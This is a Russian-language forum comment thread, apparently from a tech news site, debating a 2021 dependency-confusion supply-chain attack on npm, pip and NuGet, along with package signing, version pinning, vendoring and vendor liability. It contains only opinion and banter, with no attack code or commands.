    > сертифицированные операционные системы, поставить на которые обновлённый пакет - значит
    > лишиться сертификации.

    покажите мне сертефицированную ОСь, где сертефицированные обновления безопасности появляются быстрее, чем эксплойты у скрипткидисов

     

  • 1.45, Gogi (??), 13:02, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    Этот случай только лишний раз доказывает ущербность идеи "автоматических пакетов". Сеть априори считается ОПАСНЫМ местом. А вы оттуда тягаете пакеты на автомате и надеетесь, что хакеры это пропустят?? :)

    Я уже несколько лет выступаю против нюГетов и подобных rовноподелий - им не место в продакшене! Для самопальных перделок - ради бога, но где идёт коммерческое ПО - сразу вон поганой метлой!

     
     
  • 2.47, Аноним (-), 13:06, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Может наоборот ? Там где комерческое - то пофиг, барин то платит.
     
     
  • 3.114, An O Nim (?), 16:18, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Считается, что так тоже не катит. Т.к. в полезного в коммерческом вырастет тот, кто заботится. Двуличка с хорошим результатом - редкость.

    Кому пофиг - халтурщики. Они уходят на сторону или не растут.

     
  • 2.89, JL2001 (ok), 14:28, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > Этот случай только лишний раз доказывает ущербность идеи "автоматических пакетов". Сеть
    > априори считается ОПАСНЫМ местом. А вы оттуда тягаете пакеты на автомате
    > и надеетесь, что хакеры это пропустят?? :)
    > Я уже несколько лет выступаю против нюГетов и подобных rовноподелий - им
    > не место в продакшене! Для самопальных перделок - ради бога, но
    > где идёт коммерческое ПО - сразу вон поганой метлой!

    а линуксы в продакшене ты как обновляешь, братюнь?

    зы: какова ответственность редхата за появление в его репозитории дырявого или протрояненого самим автором программы пакета?

     
     
  • 3.115, An O Nim (?), 16:24, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Редхат как раз и есть внутренние штатные репо самого дистра RHE Линукс. Репы RHEL как раз внутренние репо самого RHEL.

    А вот бездумное добавление в yum-dnf.conf реп третьих сторон даст уязвимость как в новости. И некоторые и так тоже делают... Всякие там PPA репо и прочие с хабров и т.п. "авторитетных" площадок.

    Шапкины репы - внутренние для Шапки. Тут-то очень всё норм.

     
     
  • 4.133, JL2001 (ok), 18:24, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Редхат как раз и есть внутренние штатные репо самого дистра RHE Линукс.
    > Репы RHEL как раз внутренние репо самого RHEL.
    > А вот бездумное добавление в yum-dnf.conf реп третьих сторон даст уязвимость как
    > в новости. И некоторые и так тоже делают... Всякие там PPA
    > репо и прочие с хабров и т.п. "авторитетных" площадок.
    > Шапкины репы - внутренние для Шапки. Тут-то очень всё норм.

    я купил суппорт редхата, подключил их репы, автор оченьНужнойПрограммы обсфурцировал трояна в обновлении (крызыс, все выживают, как могут), оно попало в редхатовские репы, я обновился, меня хакнули
    какую ответственность несёт редхат?

     
     
  • 5.152, Аноним (152), 22:25, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    В теории ментейнер пакетов это не просто человек-компилятор, а ещё и в код смотрит и правит перед компиляцией если нужно. Хотя я почти уверен, что у красной шляпы соглашение написано не хуже чем у MS.
     
     
  • 6.163, JL2001 (ok), 02:20, 11/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > В теории ментейнер пакетов это не просто человек-компилятор, а ещё и в
    > код смотрит и правит перед компиляцией если нужно. Хотя я почти
    > уверен, что у красной шляпы соглашение написано не хуже чем у
    > MS.

    это то понятненько, что смотрит (в теории)
    но вот сейчас у меня вопрос - какая ответственность прописана у редхата/оракла/итд если их мантейнер не смог рассмотреть если пришедший пакет повлёк денежный, репутационный, моральный ущерб

     
     
  • 7.178, fske (?), 18:44, 11/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    >какая ответственность прописана у редхата/оракла/итд

    очень простая - ни одна айти контора не будет нести ответственность за твой бизнес, который может пострадать из-за использования или неиспользования их продуктов.

     
  • 3.124, пох. (?), 17:50, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > зы: какова ответственность редхата за появление в его репозитории дырявого или протрояненого
    > самим автором программы пакета?

    ну раздавал же редхат непонятно кем и как модифицированный (и, что характерно - подписанный) ceph - и ничего, никто не пострадал.

    Причем, кажется, так и не выяснилось, что это было и что случилось у тех кто успел савтоапгрейдиться.

    Ну да, редхат врал что я не я, корова не моя, и вообще это другой, неправильный редхат сделал.
    А разбор инцидента, по-моему, так и зажал.

     
  • 2.139, Аноним (139), 19:01, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Поддерживаю. Собственно поэтому приходится у себя в гит репозитории хранить все эти миллиарды пакетов. Неудобно, да. Но куда деваться?
     
  • 2.171, anonymous (??), 11:17, 11/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Против выступать легко. А что в замен предложите?
     

  • 1.50, Андрей (??), 13:13, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    Так я и не понял, это баг или фича.
     
     
  • 2.60, Аноним (58), 13:27, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Это фича. А сабж это атака через фичу. Почти что социнженерия.
     
  • 2.62, Аноним (62), 13:28, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Это квантовое программирование, багофича Шредингера. Будущее наступило.
     

  • 1.52, Аноним (58), 13:15, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/
    И как раст от такого спасет? А вы говорите безопасный язык. А раст такая же дырень со своим крейтсом.
     
     
  • 2.63, pda (?), 13:30, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    crate не подвержен этой проблеме.
     
     
  • 3.73, Платные Эксплоиты и Шифровальщики (?), 13:47, 10/02/2021 Скрыто ботом-модератором     [к модератору]
  • –4 +/
     
  • 2.172, anonymous (??), 11:19, 11/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Во-первых в rust этой уязвимости нет. Во-вторых rust -- это про safety, а не про security.
     

  • 1.55, Аноним (55), 13:21, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    Не глупо ли это само по себе - выкладывать на публику проекты, зависящие от неопубликованных библиотек.
     
     
  • 2.91, JL2001 (ok), 14:32, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +3 +/
    > Не глупо ли это само по себе - выкладывать на публику проекты,
    > зависящие от неопубликованных библиотек.

    они и не выкладывают
    в манифесте внутри опубликованного "бинарника" осталась инфа о том, из чего он собран, включая внутренние пакеты

     

  • 1.61, Аноним (61), 13:27, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    запускайте npm/pip/gems install на машинах разработчиков без изоляции, он вам и shell установит пользователям для кражи ssh-keys агента и вместе с вашими криптокошельками и рабочими местами.
     
     
  • 2.125, пох. (?), 17:51, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > запускайте npm/pip/gems install на машинах разработчиков без изоляции

    а иначе нихрена не работает и не собирается. И что вот делааааать будииим?

     
     
  • 3.154, Аноним (152), 22:28, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Микросервис в вебассемблю в контейнер в виртуальную машину в облаке.
     
     
  • 4.201, Аноним (201), 18:46, 16/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    А в яйце игла
     

  • 1.64, JL2001 (ok), 13:30, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    чо там, пацаны, давно в vlc-ppa публиковали linux-generic-7.0.1 ?
     
  • 1.66, JL2001 (ok), 13:36, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/
    > добавив в скрипт, запускаемый перед началом установки (preinstall в NPM), код для сбора информации о системе и отправки полученных сведений на внешний хост

    pred/post-install запускать от рута, говорили они, ничего не будет, всегда так делали, говорили они

    ей, пацаны с репозиториями, вас там ещё не во все дыры?
    мантейнеры успевают все патчи мониторить, или как с Kubernetes - напихали с гита в пакет, и всё отлично?

     
     
  • 2.76, Аноним (61), 13:50, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Оно и без рута отлично линукс юзерам установит сервисы.
     

  • 1.71, PetrG (ok), 13:44, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +3 +/
    Мой любимый кошмар на работе - почти каждый проект закачивает пол интернета при сборке. И мало кто понимает что там.
     
     
  • 2.93, Аноним (58), 14:46, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Выкачать всё в локальный репозиторий, сделать локальные пакеты. Запретить качать из инета, но не полностью. И ждать когда из интернет к тебе прилетит его клон.
     
     
  • 3.99, Аноним (61), 14:58, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +4 +/
    Чем отличается фиксация пакетов с малварями от скачивания актуальной версии малвари?
     
     
  • 4.107, JL2001 (ok), 15:50, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > Чем отличается фиксация пакетов с малварями от скачивания актуальной версии малвари?

    типо о старых версиях типо уже должна была поднятья шумиха, если что :)

     
     
  • 5.142, Аноним (61), 19:27, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Поднялась шумиха, и твой пакетик на проде клиента дальше летит с вирусами.
     

  • 1.74, Аноним (74), 13:49, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    А как же Perl? :3
     
     
  • 2.75, Аноним (61), 13:50, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Залатали временно
     
  • 2.81, Аноним (81), 14:06, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > А как же Perl? :3

    Вернули домен

     
     
  • 3.189, Аноним (189), 14:41, 12/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    А зря.
     

  • 1.77, Аноним (77), 13:55, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    вот тебе и DevУпс!
     
  • 1.80, Аноним (80), 14:01, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Очевидная атака. Удивительно что такие компании при сборке используют зависимости с инетов и не проверяют даже их подписи.

    Всегда пишу eбылды и скачиваю все необходимые пакеты задолго до начала сборки.

     
     
  • 2.82, Аноним (61), 14:06, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Проверки подписи не у всех есть, да и проверяет вначале публичные репы и только потом приватные. Компании сами должен присылать патчи.
     
     
  • 3.110, Аноним (110), 15:59, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Скачивают руками, локально и только потом собираю.

    Шарится по сторонним репам все равно что кирпичем на минном поле футбол играть.

     
  • 2.116, Страдивариус (?), 16:46, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Анониму всё очевидно, но 130К грина ушло опять не ему =)
     

  • 1.83, Аноним (74), 14:07, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +4 +/
    Для пистона это норма. Даже прожекты с мегатоннами звест на гитхубе, имеют мегатонны же проблем с зависимостями и всякого дерьма в своем составе. npm уже вообще что-то вроде мема. Go ждёт такое же будущее ибо язык рассчитан на идиотов. Это не значит что на нём пишут токма дураки, но даун-френдли политика, не доводит до добра.
     
     
  • 2.92, Аноним (58), 14:44, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Ну все значит нам нужна единая платформа, которая будет монолитна полностью запрещающая сторонние зависимости и имеет богатую дефолтную библиотеку. Только как её сделать?
     
     
  • 3.97, Аноним (97), 14:56, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Может не нужна платформа, а достаточно просто научиться программировать и делать зеродеп проги весом в десяток килобайт ? Или так не учили ?
     
     
  • 4.108, JL2001 (ok), 15:52, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > Может не нужна платформа, а достаточно просто научиться программировать и делать зеродеп
    > проги весом в десяток килобайт ? Или так не учили ?

    а вас то научили как коммунизм построить?

     
  • 3.104, Аноним (74), 15:15, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Проблема не в зависимостях, а в навыках и культуре разработки, которые хромают у упомянутых язычков
     
     
  • 4.187, Стереопаштет (?), 06:10, 12/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Проблема не в навыках, а в том что рынку нужно быстро и дешево. За идеальных сферических коней в вакууме никто не собирается платить. И если ты предложишь бизнесу писать велосипеды с нуля или перепроверять каждую версию каждой зависимости - на тебя как минимум посмотрят как на сумасшедшего. Либо ты находишь балланс между затратами-сесурити-скоростью разработки-багами-фичами, либо идешь ночевать под мостом (зато ты гордый и правильный! Не смузихлеб и не девляпс.).
     

  • 1.94, Аноним (24), 14:54, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/
    А что разве в GO уже переделали ? Раньше в GO чтобы цеплять файлы с гитхаба нужно было писать "github.com/mattn/go-sqlite3"
     
     
  • 2.112, Брат Анон (ok), 16:10, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    'go mod vendor' тебе в помощь. В голанге не так.
     
  • 2.181, еман (?), 22:15, 11/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    в Go - ещё лучше: на go get, go лезет к гуглу и спрашивает у него, можно ли скачать такой-то пакет, и качает только после утвердительного ответа. так что, если пакета нет в общественнодоступном ынтернете, нужно пользоваться специальными параметрами и специальными конфигурациями.
     

  • 1.96, Оуноуним (?), 14:56, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Чем проще разработка, тем проще эксплуатация уязвимостей.
     
     
  • 2.98, Аноним (24), 14:58, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Тем проще ее заметить. Вон в ядре поди чего только нет ... исходники то открыты а толку от этого.
     
     
  • 3.126, пох. (?), 17:53, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    > Тем проще ее заметить.

    И как, заметили? Пока чуваки не пришли с мешком для денег?

     
     
  • 4.145, Аноним (145), 19:30, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Заманивать хакера на живца/деньги/печеньки.
     

  • 1.105, Erley (ok), 15:23, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +4 +/
    Странно что никто не озадачился проверкой базовых образов на которых собираются докер-контейнеры. Часто вижу как люди там используют какие-то мутные сборки убунты и тп. Вот где раздолье для хакеров!
    Если уж качать бинарник из веба, то из проверенного источника и с проверкой подписи/хэша хотя бы.
     
     
  • 2.144, Аноним (145), 19:29, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Местные комментаторы уже давно знают что даже в надежном источнике с проверенной подписью есть сишная дырень.
     
     
  • 3.161, JL2001 (ok), 02:12, 11/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Местные комментаторы уже давно знают что даже в надежном источнике с проверенной
    > подписью есть сишная дырень.

    плюсую, бро!!!111

     

  • 1.111, Брат Анон (ok), 16:09, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    Так-то вендоринг в golang великая сила))
    Правда, это тоже не спасёт, если внешний пакет во время работы проги полезет в сеть хозяевам стучать (если админ -- снежинка с руками из от туда).
     
  • 1.117, Аноним (117), 17:01, 10/02/2021 Скрыто ботом-модератором [﹢﹢﹢] [ · · · ]     [к модератору]
  • –1 +/
     
     
  • 2.127, пох. (?), 17:56, 10/02/2021 Скрыто ботом-модератором     [к модератору]
  • –1 +/
     

  • 1.120, Аноним (120), 17:17, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Похоже, что пакетный ад Javascript дал о себе знать.
     
     
  • 2.135, JL2001 (ok), 18:28, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Похоже, что пакетный ад Javascript дал о себе знать.

    так и тут кровавая рука жаваскрипта?!!

     
     
  • 3.143, Аноним (145), 19:28, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +4 +/
    Не так страшен жараскрипт как те кто на нем пишут.
     
     
  • 4.155, InuYasha (??), 22:29, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    как то, что на нём пишут )
     

  • 1.121, Аноним (120), 17:24, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –2 +/
    Вообще-то когда скачивается пакет, должна подпись проверяться.
     
     
  • 2.129, пох. (?), 17:57, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    дык, норм у него была подпись - в точности того чувака, который его честно создал.
    Только не тот и не там, где предполагалось манки-кодером.

     
  • 2.136, JL2001 (ok), 18:30, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Вообще-то когда скачивается пакет, должна подпись проверяться.

    так она и проверилась, и верная
    но репозиторий другой и автор пакета другой

    я не знаю какие пакетные менеджеры умеют пинить подписи авторов пакетов

     
     
  • 3.167, Аноним (167), 05:19, 11/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Есть лучше вариант — пинить версии пакетов (и всех зависимостей конечно) и умеют это чуть менее чем все современные менеджеры пакетов скриптовых языков.
     
     
  • 4.179, JL2001 (ok), 18:45, 11/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Есть лучше вариант — пинить версии пакетов (и всех зависимостей конечно) и
    > умеют это чуть менее чем все современные менеджеры пакетов скриптовых языков.

    у меня есть проект-либа и 100500 зависящих от неё проектов
    я апаю версию либы и должен собрать релиз из 100500 проектов для глобального предпрод-тестирования
    мне пойти и в каждом из них прописать "теперь я завишу от версии либы +1" ?

     

  • 1.122, mumu (ok), 17:24, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Зачем тестировать? Просто пользуйтесь! Пользуйтесь все! Пока гром не грянет, мужик не перекрестится.
     
     
  • 2.130, пох. (?), 17:58, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Ну ты же понимаешь, что необходимость поддерживать функции оригинала (скачав его отдельно в обход автоматики) только немного усложнит троянский код?
    И тест прекрасно пройден.
     
  • 2.138, Леголас (ok), 18:50, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    Вы про Герасима?
     

  • 1.123, Аноним (123), 17:49, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +2 +/
    Всего 130 тысяч долларов, за такую черную ды ру, вас на..
     
     
  • 2.150, пох. (?), 20:34, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Чуваки просили передать, что мешок, в котором они уволокли дань, ничуть от этого не испортился, и они планируют зайти с ним через недельку, как только закончат подсчитывать предыдущую добычу.

     

  • 1.131, Аноним (131), 18:15, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –3 +/
    Вот зачем девопсы нужны.
     
     
  • 2.137, Аноним (61), 18:44, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Девпсы бесполезные существа.
     
     
  • 3.188, Рр (?), 06:15, 12/02/2021 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Ненавижу девопсов. Меня в детстве огромный лохматый девопс покусал за ногу.
     

  • 1.140, Аноним (140), 19:07, 10/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Девляпсы опять налетели на проблемы говнорепозитариев...
    Удивительно, правда?
     
     
  • 2.141, Аноним (145), 19:27, 10/02/2021 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Смузи разработчики не умеют разрабатывать.
     

  • 1.158, srgazh (ok), 00:13, 11/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • –1 +/
    75% от всех зафиксированных запусков кода были связаны с загрузкой NPM- Вот это ДЫРА. Как бороться с этим node и тп...
     
  • 1.159, Ilya Indigo (ok), 01:01, 11/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Молодец человек!
    Увидел возможность, реализовал и очень не плохо на ней заработал!
     
     
  • 2.176, Аноним (176), 15:49, 11/02/2021 [^] [^^] [^^^] [ответить]  
  • +2 +/
    А мог бы стать миллионом собирая фермы на ригах
     

  • 1.160, Аноним (160), 02:10, 11/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +1 +/
    Внешние автоматически выкачиваемые зависимости — это всегда риск.
    А вдруг завтра lodash зальют с бекдором?
     
     
  • 2.164, JL2001 (ok), 02:24, 11/02/2021 [^] [^^] [^^^] [ответить]  
  • +/
    > Внешние автоматически выкачиваемые зависимости — это всегда риск.
    > А вдруг завтра lodash зальют с бекдором?

    а "внешнее НЕ автоматическое выкачивание зависимостей" - это как? или у вас тоже СБ круче мантейнеров редхата?

     

  • 1.165, deeaitch (ok), 04:05, 11/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Вот кто бы сомневался во всех этох npn, ruby-чего-то там.

    Там же будет и всё остальное подобное.

     
  • 1.166, Аноним (167), 05:16, 11/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Надуманная проблема для python.
    --extra-index-url там никто не использует, кроме Microsoft, как раз по этой причине.
    Плюс версии пакетов блокируются в venv при разработке, так что в CI никаких чудес не будет. Скукота.
     
  • 1.173, .NET (?), 14:09, 11/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    А как выполнить произвольный код в NuGet-пакете после его загрузки, если ни один из его типов не используется?
    Статические конструкторы и module initializers (https://docs.microsoft.com/en-us/dotnet/csharp/whats-new/csharp-9#support-for-) вызываются непосредственно перед доступом к типам.
    Для ASP.NET есть атрибут PreApplicationStartMethodAttribute, но в .NET Core его убрали.

    Только внедрением низкоуровневого кода в DllMain?

     
  • 1.191, Аноним (189), 14:43, 12/02/2021 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Другим урок. Расслабляться нельзя. Всё время надо быть на чеке.
     

     Добавить комментарий
    Имя:
    E-Mail:
    Текст:



    Партнёры:
    PostgresPro
    Inferno Solutions
    Hosting by Hoster.ru
    Хостинг:

    Закладки на сайте
    Проследить за страницей
    Created 1996-2024 by Maxim Chirkov
    Добавить, Поддержать, Вебмастеру